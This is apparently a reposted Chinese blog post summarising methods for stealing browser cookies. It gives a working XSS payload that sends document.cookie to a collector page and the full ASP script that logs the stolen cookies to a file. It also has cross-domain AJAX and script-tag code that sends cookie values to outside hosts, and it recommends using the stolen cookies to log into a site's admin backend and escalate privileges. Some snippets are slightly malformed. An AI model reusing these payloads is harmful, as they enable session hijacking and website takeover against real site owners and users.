• 盗COOKIE之方法总结


    1.xss跨站盗cookie

    2.ajax跨域盗cookie

    3.hosts文件映射

    对于第一种方法,首先:在有跨站漏洞的页面贴上跨站代码如:

    <script>window.open('http://cookiedst/delcookie.asp?
    msg='+document.cookie)</script>

    //意思是接收客户端用户的cookie并发送到delcookie.asp这个页面进行处理,处理的结果是通过delcookie.asp这个页面将客户端的cookie写入一个叫cookie.txt的文件中,从而实现目的!

    然后,在webshell与delcookie.asp同目录之下建立一个cookie.txt文件接收cookie!

    最后,通过cookie欺骗登入网站后台!进而对网站提权,呵呵~

    delcookie.asp代码:

    <html>
    <title>xx</title>
    <body>
    <%
    testfile = Server.MapPath("code.txt") //先构造一个路径,也
    就是取网站根目录,创造一个在根目录下的code.txt路径,保存在
    testfile中

    msg = Request("msg") //获取提交过来的msg变量,也就是
    cookie值

    set fs = server.CreateObject("scripting.filesystemobject")
    创建一个fs对象

    set thisfile = fs.OpenTextFile(testfile,8,True,0)

    thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的
    cookie

    thisfile.close //关闭

    set fs = nothing
    %>
    </body>
    </html>

    对于第二种方法,

    利用ajax盗取cookie的难题解决:

    第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码:

    <script>
    function getXmlHttpRequest(){
    if(window.ActiveXObject){
    var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
    for(var i=0;i<iearr .length;i++)
    {
    var xmlhttp= new ActiveXObject(ieArr[i]);
    }
    return xmlhttp;
    } else if(window.XMLHttpRequest){
    return new XMLHttpRequest();
    }
    }
    var xmlHttp=getXmlHttpRequest();
    xmlHttp.Open("get","<a href="http://192.168.8.108/asp/web.asp?url=http://87487575.com/2.asp?%20=mmm%22,true">http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
    xmlHttp.send(null)
    
    </iearr></script>
    

    其中web.asp是一个asp代理。

    这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行

    另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码:

    
    <script LANGUAGE="Javascript" src="" id="get">
    </script>
    <script LANGUAGE="Javascript">
    <!--
    function get(url)
    {
    var obj = document.getElementById("get");
    obj.src = url;
    (obj.readStatus == 200)
    {
    eval(alert("ok"));
    }
    }
    get("http://8888.com/2.asp?cookie=12345678")
    
    /*function query()
    {
    get("http://8888.com/web/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123"
    }
    //-->
    */
    
    </script>
    

    至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论

    对于第三种方法,

    采取的原理是:hosts文件的优先级比DNS服务器的优先级高!

  • 相关阅读:
    读大道至简有感
    动手动脑7
    大道至简第七章第八章
    课后作业(接口与继承)
    大道至简第六章
    课后题以及动手动脑1 3题
    大道至简第五章
    课后作业和动手动脑(字符串)
    大道至简第四章
    课后作业及动手动脑
  • 原文地址:https://www.cnblogs.com/milantgh/p/3619405.html
Copyright © 2020-2023  润新知